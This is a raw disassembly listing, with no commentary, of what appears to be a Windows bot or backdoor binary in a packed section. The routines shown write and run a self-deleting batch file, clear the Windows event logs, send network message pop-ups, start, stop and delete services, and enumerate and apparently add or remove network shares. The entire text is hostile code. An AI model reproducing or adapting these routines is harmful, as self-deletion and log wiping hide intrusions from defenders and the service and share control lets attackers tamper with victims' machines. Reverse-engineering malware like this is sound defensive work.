aSdel_bat ; "%sdel.bat" push eax call sub_41BEF6 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call dword_4280F8 ; CreateFileA mov edi, eax cmp edi, esi jbe loc_418B68 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41BEF6 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call dword_4280F0 ; WriteFile push edi call dword_428070 ; CloseHandle push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BC00 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41BC00 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_4404C4 mov [ebp+var_2C], 1 mov [ebp+var_28], si call dword_4280A4 ; GetModuleHandleA push eax call dword_428078 ; GetModuleFileNameA lea eax, [ebp+var_15C] push eax call dword_4280A0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_418B10 lea eax, [ebp+var_15C] push 80h push eax call dword_42809C ; SetFileAttributesA loc_418B10: ; CODE XREF: sub_4189E4+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41BEF6 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call dword_428188 ; ExpandEnvironmentStringsA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call dword_428074 ; CreateProcessA loc_418B68: ; CODE XREF: sub_4189E4+72j pop edi pop esi leave retn sub_4189E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B6C proc near ; CODE XREF: sub_401AA1+70A1p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call dword_4280D0 ; GetVersionExA cmp [ebp+var_84], 2 jnz short loc_418C02 push [ebp+arg_10] push [ebp+arg_C] call dword_4CE288 ; OpenEventLogA push edi push eax call dword_4CE298 ; ClearEventLogA test eax, eax jz short loc_418BF4 push [ebp+arg_10] push offset dword_43B9B0 loc_418BCD: ; CODE XREF: sub_418B6C+94j lea eax, [ebp+var_294] push eax call sub_41BEF6 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 20h jmp short loc_418C2C ; --------------------------------------------------------------------------- loc_418BF4: ; CODE XREF: sub_418B6C+57j call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_43B974 jmp short loc_418BCD ; --------------------------------------------------------------------------- loc_418C02: ; CODE XREF: sub_418B6C+3Fj lea eax, [ebp+var_294] push offset unk_43B930 push eax call sub_41BEF6 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 1Ch loc_418C2C: ; CODE XREF: sub_418B6C+86j pop edi leave retn sub_418B6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C2F proc near ; CODE XREF: sub_401AA1+5524p var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call dword_4280D0 ; GetVersionExA cmp [ebp+var_90], 4 jnz short loc_418C74 cmp [ebp+var_8C], 0 jnz loc_418CFE xor eax, eax inc eax cmp [ebp+var_84], eax jz locret_418CFC loc_418C74: ; CODE XREF: sub_418C2F+27j ; sub_418C2F+DFj push esi push edi push offset aNetapi32_dll ; "netapi32.dll" call dword_4280C0 ; LoadLibraryA mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi call dword_4280C4 ; GetProcAddress push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41DED4 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41DED4 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41DED4 lea eax, [ebp+var_F8] push eax call sub_41DEB7 add eax, eax push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi ; GetProcessHeap add esp, 3Ch mov edi, eax push esi call dword_428148 ; FreeLibrary mov eax, edi pop edi pop esi locret_418CFC: ; CODE XREF: sub_418C2F+3Fj leave retn ; --------------------------------------------------------------------------- loc_418CFE: ; CODE XREF: sub_418C2F+30j cmp [ebp+var_8C], 0Ah jz short loc_418D14 cmp [ebp+var_8C], 5Ah jnz loc_418C74 loc_418D14: ; CODE XREF: sub_418C2F+D6j xor eax, eax inc eax leave retn sub_418C2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418D19 proc near ; CODE XREF: sub_40111A+F7p ; sub_40F3EE+Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call dword_4280B0 ; GetTickCount push eax call sub_41BF48 pop ecx call sub_41BF52 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_4286E8 call sub_41CE04 sub esi, eax mov eax, esi pop esi leave retn sub_418D19 endp ; =============== S U B R O U T I N E ======================================= sub_418D56 proc near ; CODE XREF: sub_401AA1:loc_405F46p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418DBB lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_43B9E8[esi] push edi push eax call sub_418DDD add esp, 14h test eax, eax jnz short loc_418D9E push edi push off_43B9E4[esi] mov esi, offset dword_4DE348 push offset unk_43BAF8 push esi call sub_41BEF6 add esp, 10h jmp short loc_418DD8 ; --------------------------------------------------------------------------- loc_418D9E: ; CODE XREF: sub_418D56+2Aj push eax call sub_418E7F push eax push edi mov esi, offset dword_4DE348 push offset unk_43BACC push esi call sub_41BEF6 add esp, 14h jmp short loc_418DD8 ; --------------------------------------------------------------------------- loc_418DBB: ; CODE XREF: sub_418D56+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DE348 push off_43B9E0[eax*4] push offset unk_43BAA8 push esi call sub_41BEF6 add esp, 0Ch loc_418DD8: ; CODE XREF: sub_418D56+46j ; sub_418D56+63j mov eax, esi pop edi pop esi retn sub_418D56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DDD proc near ; CODE XREF: sub_418D56+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CE2FC ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_418E04 call dword_428094 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_418E79 ; --------------------------------------------------------------------------- loc_418E04: ; CODE XREF: sub_418DDD+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CE1E4 ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_418E24 call dword_428094 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_418E71 ; --------------------------------------------------------------------------- loc_418E24: ; CODE XREF: sub_418DDD+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_418E57 cmp eax, 3 jz short loc_418E48 jle short loc_418E6A cmp eax, 6 jg short loc_418E6A lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CE250 ; ControlService jmp short loc_418E5E ; --------------------------------------------------------------------------- loc_418E48: ; CODE XREF: sub_418DDD+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CE1EC ; StartServiceA jmp short loc_418E5E ; --------------------------------------------------------------------------- loc_418E57: ; CODE XREF: sub_418DDD+4Dj push esi call dword_4CE254 ; DeleteService loc_418E5E: ; CODE XREF: sub_418DDD+69j ; sub_418DDD+78j test eax, eax jnz short loc_418E6A call dword_428094 ; RtlGetLastWin32Error mov ebx, eax loc_418E6A: ; CODE XREF: sub_418DDD+54j ; sub_418DDD+59j ... push esi call dword_4CE200 ; CloseServiceHandle loc_418E71: ; CODE XREF: sub_418DDD+45j push edi call dword_4CE200 ; CloseServiceHandle pop esi loc_418E79: ; CODE XREF: sub_418DDD+25j mov eax, ebx pop edi pop ebx leave retn sub_418DDD endp ; =============== S U B R O U T I N E ======================================= sub_418E7F proc near ; CODE XREF: sub_418D56+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418F34 jz loc_418F2D add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418EF7 jz short loc_418EED mov ecx, eax sub ecx, 3 jz short loc_418EE3 dec ecx dec ecx jz short loc_418ED9 dec ecx jz short loc_418ECF sub ecx, 51h jz short loc_418EC5 sub ecx, 24h jnz loc_418FAA ; default ; jumptable 00418F51 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_418F9C ; --------------------------------------------------------------------------- loc_418EC5: ; CODE XREF: sub_418E7F+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_418F9C ; --------------------------------------------------------------------------- loc_418ECF: ; CODE XREF: sub_418E7F+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_418F9C ; --------------------------------------------------------------------------- loc_418ED9: ; CODE XREF: sub_418E7F+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_418F9C ; --------------------------------------------------------------------------- loc_418EE3: ; CODE XREF: sub_418E7F+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_418F9C ; --------------------------------------------------------------------------- loc_418EED: ; CODE XREF: sub_418E7F+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_418F9C ; --------------------------------------------------------------------------- loc_418EF7: ; CODE XREF: sub_418E7F+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418F26 dec ecx jz short loc_418F1F dec ecx jz short loc_418F18 dec ecx jnz loc_418FAA ; default ; jumptable 00418F51 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_418F9C ; --------------------------------------------------------------------------- loc_418F18: ; CODE XREF: sub_418E7F+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_418F9C ; --------------------------------------------------------------------------- loc_418F1F: ; CODE XREF: sub_418E7F+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_418F9C ; --------------------------------------------------------------------------- loc_418F26: ; CODE XREF: sub_418E7F+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_418F9C ; --------------------------------------------------------------------------- loc_418F2D: ; CODE XREF: sub_418E7F+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_418F9C ; --------------------------------------------------------------------------- loc_418F34: ; CODE XREF: sub_418E7F+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418FAA ; default ; jumptable 00418F51 cases 1,5,6,8,9,12,13,15,16 jz short loc_418F97 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418FAA ; default ; jumptable 00418F51 cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418FEB[ecx] jmp off_418FC3[ecx*4] ; switch jump loc_418F58: ; DATA XREF: .XPack0:off_418FC3o push offset aTheSpecifiedDa ; jumptable 00418F51 case 7 jmp short loc_418F9C ; --------------------------------------------------------------------------- loc_418F5F: ; CODE XREF: sub_418E7F+D2j ; DATA XREF: .XPack0:off_418FC3o push offset aTheServiceDepe ; jumptable 00418F51 case 17 jmp short loc_418F9C ; --------------------------------------------------------------------------- loc_418F66: ; CODE XREF: sub_418E7F+D2j ; DATA XREF: .XPack0:off_418FC3o push offset aTheServiceDe_0 ; jumptable 00418F51 case 10 jmp short loc_418F9C ; --------------------------------------------------------------------------- loc_418F6D: ; CODE XREF: sub_418E7F+D2j ; DATA XREF: .XPack0:off_418FC3o push offset aTheServiceHasB ; jumptable 00418F51 case 0 jmp short loc_418F9C ; --------------------------------------------------------------------------- loc_418F74: ; CODE XREF: sub_418E7F+D2j ; DATA XREF: .XPack0:off_418FC3o push offset aTheSpecified_0 ; jumptable 00418F51 case 2 jmp short loc_418F9C ; --------------------------------------------------------------------------- loc_418F7B: ; CODE XREF: sub_418E7F+D2j ; DATA XREF: .XPack0:off_418FC3o push offset aTheServiceCoul ; jumptable 00418F51 case 11 jmp short loc_418F9C ; --------------------------------------------------------------------------- loc_418F82: ; CODE XREF: sub_418E7F+D2j ; DATA XREF: .XPack0:off_418FC3o push offset aTheServiceHa_0 ; jumptable 00418F51 case 14 jmp short loc_418F9C ; --------------------------------------------------------------------------- loc_418F89: ; CODE XREF: sub_418E7F+D2j ; DATA XREF: .XPack0:off_418FC3o push offset aTheRequested_1 ; jumptable 00418F51 case 3 jmp short loc_418F9C ; --------------------------------------------------------------------------- loc_418F90: ; CODE XREF: sub_418E7F+D2j ; DATA XREF: .XPack0:off_418FC3o push offset aTheServiceHasN ; jumptable 00418F51 case 4 jmp short loc_418F9C ; --------------------------------------------------------------------------- loc_418F97: ; CODE XREF: sub_418E7F+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_418F9C: ; CODE XREF: sub_418E7F+41j ; sub_418E7F+4Bj ... push offset dword_4DDC78 call sub_41BEF6 pop ecx pop ecx jmp short loc_418FBD ; --------------------------------------------------------------------------- loc_418FAA: ; CODE XREF: sub_418E7F+36j ; sub_418E7F+89j ... push eax ; default ; jumptable 00418F51 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DDC78 call sub_41BEF6 add esp, 0Ch loc_418FBD: ; CODE XREF: sub_418E7F+129j mov eax, offset dword_4DDC78 retn sub_418E7F endp ; --------------------------------------------------------------------------- off_418FC3 dd offset loc_418F6D ; DATA XREF: sub_418E7F+D2r dd offset loc_418F74 ; jump table for switch statement dd offset loc_418F89 dd offset loc_418F90 dd offset loc_418F58 dd offset loc_418F66 dd offset loc_418F7B dd offset loc_418F82 dd offset loc_418F5F dd offset loc_418FAA byte_418FEB db 0, 9, 1, 2 ; DATA XREF: sub_418E7F+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418FFD proc near ; CODE XREF: sub_401AA1+44D0p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CE2FC ; OpenSCManagerA push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 14h loc_419035: ; CODE XREF: sub_418FFD+123j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CE2C8 ; EnumServicesStatusA test eax, eax jnz short loc_41906F call dword_428094 ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_419126 loc_41906F: ; CODE XREF: sub_418FFD+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_41911D lea esi, [ebp+var_188] loc_419080: ; CODE XREF: sub_418FFD+11Aj mov eax, [esi+8] dec eax jz short loc_4190CC dec eax jz short loc_4190C5 dec eax jz short loc_4190BE dec eax jz short loc_4190B7 dec eax jz short loc_4190B0 dec eax jz short loc_4190A9 dec eax lea eax, [ebp+var_20] jz short loc_4190A2 push offset aUnknown_0 ; " Unknown" jmp short loc_4190D4 ; --------------------------------------------------------------------------- loc_4190A2: ; CODE XREF: sub_418FFD+9Cj push offset aPaused_0 ; " Paused" jmp short loc_4190D4 ; --------------------------------------------------------------------------- loc_4190A9: ; CODE XREF: sub_418FFD+96j push offset aPausing ; " Pausing" jmp short loc_4190D1 ; --------------------------------------------------------------------------- loc_4190B0: ; CODE XREF: sub_418FFD+93j push offset aContinuing ; " Continuing" jmp short loc_4190D1 ; --------------------------------------------------------------------------- loc_4190B7: ; CODE XREF: sub_418FFD+90j push offset aRunning ; " Running" jmp short loc_4190D1 ; --------------------------------------------------------------------------- loc_4190BE: ; CODE XREF: sub_418FFD+8Dj push offset aStoping ; " Stoping" jmp short loc_4190D1 ; --------------------------------------------------------------------------- loc_4190C5: ; CODE XREF: sub_418FFD+8Aj push offset aStarting ; " Starting" jmp short loc_4190D1 ; --------------------------------------------------------------------------- loc_4190CC: ; CODE XREF: sub_418FFD+87j push offset aStopped ; " Stopped" loc_4190D1: ; CODE XREF: sub_418FFD+B1j ; sub_418FFD+B8j ... lea eax, [ebp+var_20] loc_4190D4: ; CODE XREF: sub_418FFD+A3j ; sub_418FFD+AAj push eax call sub_41BEF6 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41BEF6 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_419080 loc_41911D: ; CODE XREF: sub_418FFD+77j cmp [ebp+var_8], ebx jnz loc_419035 loc_419126: ; CODE XREF: sub_418FFD+6Cj push [ebp+var_C] call dword_4CE200 ; CloseServiceHandle xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_418FFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41913D proc near ; CODE XREF: sub_401AA1:loc_406031p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_4191D6 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_419166 dec eax jnz short loc_4191B6 push edi push 0 call sub_41930F pop ecx pop ecx jmp short loc_4191B2 ; --------------------------------------------------------------------------- loc_419166: ; CODE XREF: sub_41913D+18j cmp [ebp+arg_8], 0 jnz short loc_4191A4 push 24h push edi call sub_41C620 pop ecx test eax, eax pop ecx jnz short loc_4191A4 push 57h pop eax loc_41917D: ; CODE XREF: sub_41913D+77j push eax call sub_419ADD push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DDF40 push off_43B9E0[eax*4] push offset unk_43C09C push esi call sub_41BEF6 add esp, 18h jmp short loc_4191F6 ; --------------------------------------------------------------------------- loc_4191A4: ; CODE XREF: sub_41913D+2Dj ; sub_41913D+3Bj push [ebp+arg_8] push edi push 0 call sub_419263 add esp, 0Ch loc_4191B2: ; CODE XREF: sub_41913D+27j test eax, eax jnz short loc_41917D loc_4191B6: ; CODE XREF: sub_41913D+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DDF40 push off_43B9E4[eax*4] push offset dword_43C080 push esi call sub_41BEF6 add esp, 10h jmp short loc_4191F6 ; --------------------------------------------------------------------------- loc_4191D6: ; CODE XREF: sub_41913D+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DDF40 lea eax, [eax+eax*2] push off_43B9E0[eax*4] push offset unk_43C05C push esi call sub_41BEF6 add esp, 0Ch loc_4191F6: ; CODE XREF: sub_41913D+65j ; sub_41913D+97j mov eax, esi pop edi pop esi pop ebp retn sub_41913D endp ; =============== S U B R O U T I N E ======================================= sub_4191FC proc near ; CODE XREF: sub_41A4EB+247p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_419209 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_419209: ; CODE XREF: sub_4191FC+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_42818C push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; WideCharToMultiByte test byte_4DE140, 1 mov ebp, eax jnz short loc_419246 or byte_4DE140, 1 lea eax, [ebp+1] push eax call sub_41D635 pop ecx mov dword_4DDED8, eax loc_419246: ; CODE XREF: sub_4191FC+32j push esi push esi push ebp push dword_4DDED8 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; WideCharToMultiByte mov eax, dword_4DDED8 pop edi pop ebp pop ebx pop esi retn sub_4191FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419263 proc near ; CODE XREF: sub_41913D+6Dp ; sub_41A811+18Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_4192CE push [ebp+arg_4] mov edi, eax call sub_4192CE push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41C620 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_4192CE add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CE1FC pop edi leave retn sub_419263 endp ; =============== S U B R O U T I N E ======================================= sub_4192CE proc near ; CODE XREF: sub_419263+Ap ; sub_419263+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_4192DB pop ebp retn ; --------------------------------------------------------------------------- loc_4192DB: ; CODE XREF: sub_4192CE+9j push ebx push esi mov esi, dword_4280E8 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax call sub_41D635 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_4192CE endp ; =============== S U B R O U T I N E ======================================= sub_41930F proc near ; CODE XREF: sub_41913D+20p ; sub_41A4EB+1BCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_4192CE push [esp+8+arg_4] mov esi, eax call sub_4192CE pop ecx pop ecx push 0 push eax push esi call dword_4CE1D4 pop esi retn sub_41930F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419332 proc near ; CODE XREF: sub_401AA1+45BCp var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_4192CE xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 18h loc_41936B: ; CODE XREF: sub_419332+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CE24C mov ebx, eax cmp ebx, esi jz short loc_4193CE cmp ebx, 0EAh jz short loc_4193CE push ebx push ebx call sub_419ADD pop ecx push eax lea eax, [ebp+var_210] push offset unk_43C0E8 push eax call sub_41BEF6 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 24h jmp short loc_41943B ; --------------------------------------------------------------------------- loc_4193CE: ; CODE XREF: sub_419332+5Dj ; sub_419332+65j xor edi, edi inc edi cmp [ebp+arg_C], edi jb short loc_419432 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_4193DC: ; CODE XREF: sub_419332+FCj push dword ptr [esi+10h] call dword_4CE1F0 ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_4193F3 mov eax, offset aNo ; "No" loc_4193F3: ; CODE XREF: sub_419332+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41BEF6 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_4193DC xor esi, esi loc_419432: ; CODE XREF: sub_419332+A2j push [ebp+var_4] call dword_4CE398 loc_41943B: ; CODE XREF: sub_419332+9Aj cmp ebx, 0EAh jz loc_41936B xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_419332 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419453 proc near ; CODE XREF: sub_401AA1:loc_4060CDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_4194F7 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_419495 dec eax jz short loc_41948A dec eax jnz short loc_4194B0 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_419599 add esp, 14h jmp short loc_4194AC ; --------------------------------------------------------------------------- loc_41948A: ; CODE XREF: sub_419453+1Dj push ebx push edi call sub_419578 pop ecx pop ecx jmp short loc_4194AC ; --------------------------------------------------------------------------- loc_419495: ; CODE XREF: sub_419453+1Aj cmp [ebp+arg_8], edi jz short loc_4194A9 push [ebp+arg_8] push ebx push edi call sub_41951E add esp, 0Ch jmp short loc_4194AC ; --------------------------------------------------------------------------- loc_4194A9: ; CODE XREF: sub_419453+45j push 57h pop eax loc_4194AC: ; CODE XREF: sub_419453+35j ; sub_419453+40j ... cmp eax, edi jnz short loc_4194D0 loc_4194B0: ; CODE XREF: sub_419453+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DE148 push off_43B9E4[eax*4] push offset unk_43C1A0 push esi call sub_41BEF6 add esp, 10h jmp short loc_419517 ; --------------------------------------------------------------------------- loc_4194D0: ; CODE XREF: sub_419453+5Bj push eax call sub_419ADD push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DE148 push off_43B9E0[eax*4] push offset unk_43C170 push esi call sub_41BEF6 add esp, 18h jmp short loc_419517 ; --------------------------------------------------------------------------- loc_4194F7: ; CODE XREF: sub_419453+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DE148 lea eax, [eax+eax*2] push off_43B9E0[eax*4] push offset unk_43C148 push esi call sub_41BEF6 add esp, 0Ch loc_419517: ; CODE XREF: sub_419453+7Bj ; sub_419453+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_419453 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41951E proc near ; CODE XREF: sub_419453+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_4192CE push [ebp+arg_4] mov edi, eax call sub_4192CE push [ebp+arg_8] mov [ebp+var_24], eax call sub_4192CE add esp, 0Ch and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_8], 0 lea ecx, [ebp+var_4] mov [ebp+var_20], eax xor eax, eax push ecx lea ecx, [ebp+var_24] inc eax push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CE1E0 pop edi leave retn sub_41951E endp ; 